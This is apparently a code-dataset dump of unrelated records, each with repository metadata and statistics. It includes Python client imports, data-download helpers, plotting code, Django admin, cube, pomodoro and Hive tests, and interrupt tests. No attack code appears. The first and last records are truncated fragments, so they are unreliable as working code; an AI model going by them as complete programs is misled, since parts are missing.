c... | 35.298387 | 78 | 0.760567 | 546 | 4,377 | 5.760073 | 0.184982 | 0.106836 | 0.045787 | 0.061049 | 0.822893 | 0.822893 | 0.822893 | 0.822893 | 0.822893 | 0.822893 | 0 | 0.003504 | 0.152387 | 4,377 | 123 | 79 | 35.585366 | 0.844205 | 0.202193 | 0 | 0.774648 | 0 | 0 | 0.019924 | 0 | 0 | 0 | 0 | 0 | 0.028169 | 1 | 0.140845 | false | 0.084507 | 0.084507 | 0 | 0.338028 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
d987e563f8e8d9c6de4319222b76dccaa5bb64b0 | 178 | py | Python | gupshup_python_api_client/__init__.py | sendbee/gupshup-python-api-client | 65ead83165014d868fb334faf630514aab96b8ca | [
"MIT"
] | 4 | 2020-11-04T14:00:48.000Z | 2021-12-21T17:46:53.000Z | gupshup_python_api_client/__init__.py | sendbee/gupshup-python-api-client | 65ead83165014d868fb334faf630514aab96b8ca | [
"MIT"
] | null | null | null | gupshup_python_api_client/__init__.py | sendbee/gupshup-python-api-client | 65ead83165014d868fb334faf630514aab96b8ca | [
"MIT"
] | 1 | 2021-12-21T17:47:00.000Z | 2021-12-21T17:47:00.000Z | # Main API class
from gupshup_python_api_client.client import Client as GupshupApi
from gupshup_python_api_client.partner_client import \
PartnerClient as GupshupPartnerApi
| 29.666667 | 65 | 0.853933 | 24 | 178 | 6.041667 | 0.541667 | 0.151724 | 0.234483 | 0.275862 | 0.358621 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.123596 | 178 | 5 | 66 | 35.6 | 0.929487 | 0.078652 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
d98a8c781b4b10dd22ec573293c7ecd29ceea879 | 151 | py | Python | packages/sdk/snet/sdk/payment_strategies/payment_staregy.py | pratik-vii/snet-cli | 2a19dbb345181eadf6308fd629dfae37148682fe | [
"MIT"
] | 67 | 2018-05-21T22:15:38.000Z | 2022-03-05T15:53:33.000Z | packages/sdk/snet/sdk/payment_strategies/payment_staregy.py | pratik-vii/snet-cli | 2a19dbb345181eadf6308fd629dfae37148682fe | [
"MIT"
] | 295 | 2018-05-27T23:43:36.000Z | 2021-10-06T14:33:40.000Z | packages/sdk/snet/sdk/payment_strategies/payment_staregy.py | pratik-vii/snet-cli | 2a19dbb345181eadf6308fd629dfae37148682fe | [
"MIT"
] | 48 | 2018-05-22T21:15:28.000Z | 2022-02-10T04:11:56.000Z | class PaymentStrategy(object):
def get_payment_metadata(self,service_client):
pass
def get_price(self,service_client):
pass
| 16.777778 | 50 | 0.695364 | 18 | 151 | 5.555556 | 0.666667 | 0.12 | 0.34 | 0.42 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.231788 | 151 | 8 | 51 | 18.875 | 0.862069 | 0 | 0 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0.4 | 0 | 0 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 7 |
79a55887563bd7907aa05f60fb04cfe543027150 | 31,936 | py | Python | poseconnect/visualize.py | WildflowerSchools/poseconnect | 5d0c188b7f8477f4b8020fa3f9d510a39581713b | [
"MIT"
] | null | null | null | poseconnect/visualize.py | WildflowerSchools/poseconnect | 5d0c188b7f8477f4b8020fa3f9d510a39581713b | [
"MIT"
] | null | null | null | poseconnect/visualize.py | WildflowerSchools/poseconnect | 5d0c188b7f8477f4b8020fa3f9d510a39581713b | [
"MIT"
] | null | null | null | import cv_utils
# import cv2 as cv
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
import matplotlib.colors
from pandas.plotting import register_matplotlib_converters
import seaborn as sns
import slugify
import string
import os
import logging
logger = logging.ge... | 33.687764 | 111 | 0.632358 | 3,919 | 31,936 | 4.787446 | 0.060985 | 0.08805 | 0.053459 | 0.072327 | 0.83408 | 0.808762 | 0.776783 | 0.746136 | 0.725349 | 0.723377 | 0 | 0.006045 | 0.259269 | 31,936 | 947 | 112 | 33.723337 | 0.787073 | 0.006137 | 0 | 0.707371 | 0 | 0 | 0.101734 | 0.00662 | 0 | 0 | 0 | 0 | 0 | 1 | 0.018702 | false | 0 | 0.013201 | 0 | 0.035204 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5c0441a933a38ba90c5dfcb64d70f136cb26a0ad | 8,003 | py | Python | package/load.py | ABDunbar/NPD-Fields | a38c03bfc9b129159a54f90ca6d08970a96669cb | [
"MIT"
] | 1 | 2020-12-27T17:46:28.000Z | 2020-12-27T17:46:28.000Z | package/load.py | ABDunbar/NPD_Visualisation | 88ea4a9c4e542399761829a280219b3ee25bda62 | [
"MIT"
] | null | null | null | package/load.py | ABDunbar/NPD_Visualisation | 88ea4a9c4e542399761829a280219b3ee25bda62 | [
"MIT"
] | null | null | null | import pandas as pd
links = {
'comp_reserves': 'https://factpages.npd.no/ReportServer_npdpublic?/FactPages/TableView/company_reserves&rs:Command=Render&rc:Toolbar=false&rc:Parameters=f&rs:Format=CSV&Top100=false&IpAddress=not_used&CultureCode=en',
'lic_regLicensees': 'https://factpages.npd.no/ReportServer_npdp... | 84.242105 | 242 | 0.748219 | 1,088 | 8,003 | 5.378676 | 0.143382 | 0.022215 | 0.072625 | 0.081169 | 0.823137 | 0.823137 | 0.815619 | 0.815619 | 0.809809 | 0.610902 | 0 | 0.011421 | 0.113832 | 8,003 | 94 | 243 | 85.138298 | 0.813734 | 0.058353 | 0 | 0.347222 | 0 | 0.347222 | 0.737952 | 0.007209 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027778 | false | 0 | 0.013889 | 0 | 0.069444 | 0.083333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
5c103acfd8f9b174e1373c86cb146dfe60be0cde | 117 | py | Python | Module 3/Chapter 4/ch4_14.py | PacktPublishing/Natural-Language-Processing-Python-and-NLTK | bb7fd9a3071b4247d13accfbf0a48eefec76e925 | [
"MIT"
] | 50 | 2016-12-11T13:49:01.000Z | 2022-03-20T19:47:55.000Z | Module 3/Chapter 4/ch4_14.py | PacktPublishing/Natural-Language-Processing-Python-and-NLTK | bb7fd9a3071b4247d13accfbf0a48eefec76e925 | [
"MIT"
] | null | null | null | Module 3/Chapter 4/ch4_14.py | PacktPublishing/Natural-Language-Processing-Python-and-NLTK | bb7fd9a3071b4247d13accfbf0a48eefec76e925 | [
"MIT"
] | 40 | 2017-06-14T14:02:48.000Z | 2021-10-14T06:25:00.000Z | import nltk
from nltk.corpus import names
print(len(names.words('male.txt')))
print(len(names.words('female.txt')))
| 19.5 | 37 | 0.74359 | 19 | 117 | 4.578947 | 0.578947 | 0.183908 | 0.298851 | 0.413793 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 117 | 5 | 38 | 23.4 | 0.805556 | 0 | 0 | 0 | 0 | 0 | 0.155172 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 7 |
309ab8169732b23e11929d9ceaa14537b5e9a29c | 125 | py | Python | h5flow/core/__init__.py | peter-madigan/h5flow | b90e93677c6a45495e989cf578c96ddf42ffb3c8 | [
"MIT"
] | null | null | null | h5flow/core/__init__.py | peter-madigan/h5flow | b90e93677c6a45495e989cf578c96ddf42ffb3c8 | [
"MIT"
] | 7 | 2021-05-21T20:23:22.000Z | 2021-11-24T21:06:34.000Z | h5flow/core/__init__.py | peter-madigan/h5flow | b90e93677c6a45495e989cf578c96ddf42ffb3c8 | [
"MIT"
] | 1 | 2021-08-13T21:46:05.000Z | 2021-08-13T21:46:05.000Z | from .h5_flow_resource import *
from .h5_flow_generator import *
from .h5_flow_stage import *
from .h5_flow_manager import *
| 25 | 32 | 0.808 | 20 | 125 | 4.65 | 0.4 | 0.258065 | 0.430108 | 0.516129 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036697 | 0.128 | 125 | 4 | 33 | 31.25 | 0.816514 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
eb8e85a1d33b29fd622e64ab44a5caa66473e2b3 | 162 | py | Python | backend/laundry/admin.py | pennlabs/student-life | aaac7109b9bd2617787cb3aa813e5f736abb24a5 | [
"MIT"
] | 7 | 2019-12-25T04:11:24.000Z | 2021-10-11T05:00:17.000Z | backend/laundry/admin.py | pennlabs/student-life | aaac7109b9bd2617787cb3aa813e5f736abb24a5 | [
"MIT"
] | 41 | 2019-12-25T18:37:35.000Z | 2021-10-10T19:50:21.000Z | backend/laundry/admin.py | pennlabs/penn-mobile | fb3b514a55afbf6f29dd8bd589b4e76bf52e3e90 | [
"MIT"
] | null | null | null | from django.contrib import admin
from laundry.models import LaundryRoom, LaundrySnapshot
admin.site.register(LaundrySnapshot)
admin.site.register(LaundryRoom)
| 20.25 | 55 | 0.845679 | 19 | 162 | 7.210526 | 0.578947 | 0.291971 | 0.350365 | 0.467153 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08642 | 162 | 7 | 56 | 23.142857 | 0.925676 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
eb96bf5f5dbd634c3ff0301406fdc841c340f049 | 4,767 | py | Python | src/data/import_data.py | denncc/opioids-od-genome-analysis | 8be8c4856f460ce4bf48f4c05a613017336b7b7a | [
"RSA-MD"
] | 1 | 2021-05-25T01:43:06.000Z | 2021-05-25T01:43:06.000Z | src/data/import_data.py | cjpena531/opioids-od-genome-analysis | 8be8c4856f460ce4bf48f4c05a613017336b7b7a | [
"RSA-MD"
] | null | null | null | src/data/import_data.py | cjpena531/opioids-od-genome-analysis | 8be8c4856f460ce4bf48f4c05a613017336b7b7a | [
"RSA-MD"
] | 1 | 2021-04-07T09:10:36.000Z | 2021-04-07T09:10:36.000Z | import os
import json
with open("./config/data_config.json") as f:
config = json.load(f)
first_srr = config["download"]["first_srr"]
def download_seq(path, f = "sam"):
"""
The pipeline to call linux wget to get all dataset into
the specified locaiton on DSMLP in the specified format
path: a string... | 41.094828 | 231 | 0.627858 | 765 | 4,767 | 3.811765 | 0.181699 | 0.038409 | 0.052812 | 0.038409 | 0.851852 | 0.836763 | 0.827846 | 0.827846 | 0.827846 | 0.827846 | 0 | 0.063479 | 0.223411 | 4,767 | 115 | 232 | 41.452174 | 0.724203 | 0.244808 | 0 | 0.756757 | 0 | 0.094595 | 0.349321 | 0.092748 | 0 | 0 | 0 | 0 | 0 | 1 | 0.094595 | false | 0 | 0.027027 | 0 | 0.189189 | 0.162162 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
eba44e5a5b42f4db1788edcdd34885d0815a7fb0 | 60 | py | Python | pythia/__init__.py | MaudBoucherit/Pythia | 0076d8008350c3a323e28c400b26628be34302e6 | [
"MIT"
] | null | null | null | pythia/__init__.py | MaudBoucherit/Pythia | 0076d8008350c3a323e28c400b26628be34302e6 | [
"MIT"
] | 4 | 2018-02-09T01:16:14.000Z | 2018-03-04T07:48:49.000Z | pythia/__init__.py | MaudBoucherit/Pythia | 0076d8008350c3a323e28c400b26628be34302e6 | [
"MIT"
] | 3 | 2018-02-08T22:52:27.000Z | 2018-02-08T22:53:05.000Z |
from pythia import LinearRegression
from pythia import eda
| 15 | 35 | 0.85 | 8 | 60 | 6.375 | 0.625 | 0.392157 | 0.627451 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15 | 60 | 3 | 36 | 20 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
ebaec9157408c9488c7b7c55bbacda8e7c8d6c8b | 99 | py | Python | tests/parser/wellfounded.3.test.py | veltri/DLV2 | 944aaef803aa75e7ec51d7e0c2b0d964687fdd0e | [
"Apache-2.0"
] | null | null | null | tests/parser/wellfounded.3.test.py | veltri/DLV2 | 944aaef803aa75e7ec51d7e0c2b0d964687fdd0e | [
"Apache-2.0"
] | null | null | null | tests/parser/wellfounded.3.test.py | veltri/DLV2 | 944aaef803aa75e7ec51d7e0c2b0d964687fdd0e | [
"Apache-2.0"
] | null | null | null | input = """
a :- b.
b | c.
d.
:- d, a.
"""
output = """
a :- b.
b | c.
d.
:- d, a.
"""
| 6.6 | 12 | 0.252525 | 16 | 99 | 1.5625 | 0.375 | 0.16 | 0.24 | 0.32 | 0.56 | 0.56 | 0.56 | 0 | 0 | 0 | 0 | 0 | 0.40404 | 99 | 14 | 13 | 7.071429 | 0.423729 | 0 | 0 | 0.833333 | 0 | 0 | 0.651685 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6912f5534d4eca3724a3ecd64d09091a8f435333 | 9,868 | py | Python | Chapter24/tests/libcube/cubes/test_cube2x2.py | haohaoxiao/Deep-Reinforcement-Learning-Hands-On-Second-Edition | 1cbdff216fdc5cec02cc0da8664b788941f025c1 | [
"MIT"
] | 621 | 2019-07-27T19:24:56.000Z | 2022-03-31T14:19:52.000Z | Chapter24/tests/libcube/cubes/test_cube2x2.py | haohaoxiao/Deep-Reinforcement-Learning-Hands-On-Second-Edition | 1cbdff216fdc5cec02cc0da8664b788941f025c1 | [
"MIT"
] | 40 | 2019-09-01T09:45:22.000Z | 2022-03-24T13:13:00.000Z | Chapter24/tests/libcube/cubes/test_cube2x2.py | haohaoxiao/Deep-Reinforcement-Learning-Hands-On-Second-Edition | 1cbdff216fdc5cec02cc0da8664b788941f025c1 | [
"MIT"
] | 346 | 2019-07-26T15:16:56.000Z | 2022-03-30T15:33:20.000Z | import unittest
import numpy as np
import random
from libcube.cubes import cube2x2
class CubeRender(unittest.TestCase):
def test_init_render(self):
state = cube2x2.initial_state
render = cube2x2.render(state)
self.assertIsInstance(render, cube2x2.RenderedState)
self.assertEqual(re... | 37.808429 | 105 | 0.569923 | 1,317 | 9,868 | 4.198937 | 0.05391 | 0.175045 | 0.208318 | 0.151899 | 0.900181 | 0.825497 | 0.79783 | 0.714105 | 0.690416 | 0.63472 | 0 | 0.058168 | 0.263073 | 9,868 | 260 | 106 | 37.953846 | 0.702283 | 0 | 0 | 0.5625 | 0 | 0 | 0.013579 | 0 | 0 | 0 | 0 | 0 | 0.419643 | 1 | 0.102679 | false | 0 | 0.017857 | 0 | 0.133929 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c6528b33dd861527f33ada14b567ea2bf6215427 | 6,269 | py | Python | loldib/getratings/models/NA/na_bard/na_bard_jng.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | loldib/getratings/models/NA/na_bard/na_bard_jng.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | loldib/getratings/models/NA/na_bard/na_bard_jng.py | koliupy/loldib | c9ab94deb07213cdc42b5a7c26467cdafaf81b7f | [
"Apache-2.0"
] | null | null | null | from getratings.models.ratings import Ratings
class NA_Bard_Jng_Aatrox(Ratings):
pass
class NA_Bard_Jng_Ahri(Ratings):
pass
class NA_Bard_Jng_Akali(Ratings):
pass
class NA_Bard_Jng_Alistar(Ratings):
pass
class NA_Bard_Jng_Amumu(Ratings):
pass
class NA_Bard_Jng_Anivia(Ratings):
pass
clas... | 15.033573 | 46 | 0.75642 | 972 | 6,269 | 4.452675 | 0.151235 | 0.223198 | 0.350739 | 0.446396 | 0.791359 | 0.791359 | 0 | 0 | 0 | 0 | 0 | 0 | 0.177221 | 6,269 | 416 | 47 | 15.069712 | 0.839085 | 0 | 0 | 0.498195 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.498195 | 0.00361 | 0 | 0.501805 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 7 |
d6d6afbf5b384d84b4c3e3fed90501f494876132 | 2,734 | py | Python | pomodorr/frames/tests/test_admin.py | kamil559/pomodorr | 232e6e98ff3481561dd1235794b3960066713210 | [
"MIT"
] | null | null | null | pomodorr/frames/tests/test_admin.py | kamil559/pomodorr | 232e6e98ff3481561dd1235794b3960066713210 | [
"MIT"
] | 15 | 2020-04-11T18:30:57.000Z | 2020-07-05T09:37:43.000Z | pomodorr/frames/tests/test_admin.py | kamil559/pomodorr | 232e6e98ff3481561dd1235794b3960066713210 | [
"MIT"
] | null | null | null | import pytest
pytestmark = pytest.mark.django_db
class TestDateFrameAdmin:
def test_is_finished_filter_lookup_choices(self, is_finished_filter):
is_finished_lookup_choices = is_finished_filter.lookup_choices
assert is_finished_lookup_choices == [('1', 'Yes'), ('0', 'No')]
def test_is_finishe... | 63.581395 | 117 | 0.644843 | 309 | 2,734 | 5.12945 | 0.148867 | 0.136278 | 0.15142 | 0.17224 | 0.888959 | 0.832177 | 0.815773 | 0.811987 | 0.811987 | 0.811987 | 0 | 0.004251 | 0.311631 | 2,734 | 42 | 118 | 65.095238 | 0.837938 | 0 | 0 | 0.484848 | 0 | 0 | 0.015728 | 0 | 0 | 0 | 0 | 0 | 0.30303 | 1 | 0.121212 | false | 0 | 0.030303 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
bacc5347190161ba297a9694d6c8bdee3e0ff93e | 179 | py | Python | socket/terminal_color.py | robotx-school/eurobot-2022 | c5a6bfba92191fe0643e1691175fd0facf9fbf99 | [
"MIT"
] | 1 | 2022-03-23T12:03:16.000Z | 2022-03-23T12:03:16.000Z | socket/terminal_color.py | robotx-school/eurobot-2022 | c5a6bfba92191fe0643e1691175fd0facf9fbf99 | [
"MIT"
] | null | null | null | socket/terminal_color.py | robotx-school/eurobot-2022 | c5a6bfba92191fe0643e1691175fd0facf9fbf99 | [
"MIT"
] | null | null | null | def out_red(text):
return "\033[31m {}" .format(text)
def out_yellow(text):
return "\033[33m {}" .format(text)
def out_green(text):
return "\033[32m {}" .format(text)
| 25.571429 | 38 | 0.631285 | 27 | 179 | 4.074074 | 0.444444 | 0.163636 | 0.354545 | 0.290909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.100671 | 0.167598 | 179 | 6 | 39 | 29.833333 | 0.637584 | 0 | 0 | 0 | 0 | 0 | 0.184358 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
bae9f06ec79a3e8e54e6c3892e14475680c43785 | 3,855 | py | Python | client-cli/tests/cli/test_recover.py | sndnv/stasis | ee99e8995f29b5b1c1689b87a84a60f01382bfd6 | [
"Apache-2.0"
] | 3 | 2021-01-12T22:40:30.000Z | 2021-06-09T04:33:19.000Z | client-cli/tests/cli/test_recover.py | sndnv/stasis | ee99e8995f29b5b1c1689b87a84a60f01382bfd6 | [
"Apache-2.0"
] | 12 | 2019-06-04T16:42:19.000Z | 2022-03-06T23:11:47.000Z | client-cli/tests/cli/test_recover.py | sndnv/stasis | ee99e8995f29b5b1c1689b87a84a60f01382bfd6 | [
"Apache-2.0"
] | 1 | 2021-01-12T22:40:10.000Z | 2021-01-12T22:40:10.000Z | import json
import unittest
from uuid import uuid4
from client_cli.cli.context import Context
from client_cli.cli.recover import cli
from client_cli.render.json_writer import JsonWriter
from tests.cli.cli_runner import Runner
from tests.mocks.mock_client_api import MockClientApi
class RecoverSpec(unittest.TestCase):... | 30.84 | 75 | 0.557717 | 394 | 3,855 | 5.317259 | 0.149746 | 0.080191 | 0.068735 | 0.057279 | 0.872554 | 0.858234 | 0.858234 | 0.834368 | 0.834368 | 0.834368 | 0 | 0.021526 | 0.3131 | 3,855 | 124 | 76 | 31.08871 | 0.769637 | 0 | 0 | 0.796117 | 0 | 0 | 0.094423 | 0 | 0 | 0 | 0 | 0 | 0.145631 | 1 | 0.058252 | false | 0 | 0.07767 | 0 | 0.145631 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
24150a873529bf362a8443d0847e8ed5a543a643 | 33,063 | py | Python | ambari-server/src/test/python/stacks/2.0.6/HIVE/test_hive_server.py | kennyballou/ambari | 8985bcf11296d540a861a8634c17d6b9b1accd5a | [
"Apache-2.0"
] | null | null | null | ambari-server/src/test/python/stacks/2.0.6/HIVE/test_hive_server.py | kennyballou/ambari | 8985bcf11296d540a861a8634c17d6b9b1accd5a | [
"Apache-2.0"
] | null | null | null | ambari-server/src/test/python/stacks/2.0.6/HIVE/test_hive_server.py | kennyballou/ambari | 8985bcf11296d540a861a8634c17d6b9b1accd5a | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
'''
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License")... | 52.816294 | 345 | 0.524574 | 3,081 | 33,063 | 5.466407 | 0.121714 | 0.085501 | 0.017813 | 0.023275 | 0.807208 | 0.779777 | 0.764755 | 0.742667 | 0.723489 | 0.70532 | 0 | 0.016779 | 0.3601 | 33,063 | 625 | 346 | 52.9008 | 0.779269 | 0.008529 | 0 | 0.700544 | 0 | 0.038113 | 0.291734 | 0.17028 | 0 | 0 | 0 | 0 | 0.163339 | 0 | null | null | 0.005445 | 0.010889 | null | null | 0.001815 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
79e1c1219b85977b20b87e2081625a21ef21423e | 65 | py | Python | examples/pip_parse/main.py | axivion/rules_python | 7740b22d0bae942af0797967f2617daa19834cb3 | [
"Apache-2.0"
] | 322 | 2017-08-29T22:39:19.000Z | 2022-03-31T23:38:52.000Z | examples/pip_parse/main.py | axivion/rules_python | 7740b22d0bae942af0797967f2617daa19834cb3 | [
"Apache-2.0"
] | 526 | 2017-09-06T17:16:54.000Z | 2022-03-31T21:43:01.000Z | examples/pip_parse/main.py | axivion/rules_python | 7740b22d0bae942af0797967f2617daa19834cb3 | [
"Apache-2.0"
] | 366 | 2017-09-05T16:14:23.000Z | 2022-03-25T22:05:52.000Z | import requests
def version():
return requests.__version__
| 10.833333 | 31 | 0.753846 | 7 | 65 | 6.428571 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.184615 | 65 | 5 | 32 | 13 | 0.849057 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
033372ad0e868a30a6597b4dab1c6e51ecb89c9c | 13,338 | py | Python | tests/integration/test_interrupt_sensitivity.py | jvanstraten/vhdmmio | f166b07074a9159311a01af88497df91c19e09d1 | [
"Apache-2.0"
] | 4 | 2019-07-01T14:41:38.000Z | 2021-11-28T12:54:49.000Z | tests/integration/test_interrupt_sensitivity.py | jvanstraten/vhdmmio | f166b07074a9159311a01af88497df91c19e09d1 | [
"Apache-2.0"
] | 4 | 2019-08-23T15:05:24.000Z | 2020-12-16T10:02:20.000Z | tests/integration/test_interrupt_sensitivity.py | jvanstraten/vhdmmio | f166b07074a9159311a01af88497df91c19e09d1 | [
"Apache-2.0"
] | 1 | 2021-07-16T13:41:21.000Z | 2021-07-16T13:41:21.000Z | """Interrupt sensitivity tests."""
from os.path import join as pjoin
import tempfile
from unittest import TestCase
from vhdmmio.html import HtmlDocumentationGenerator
from ..testbench import RegisterFileTestbench
class TestInterruptSense(TestCase):
"""Interrupt sensitivity tests"""
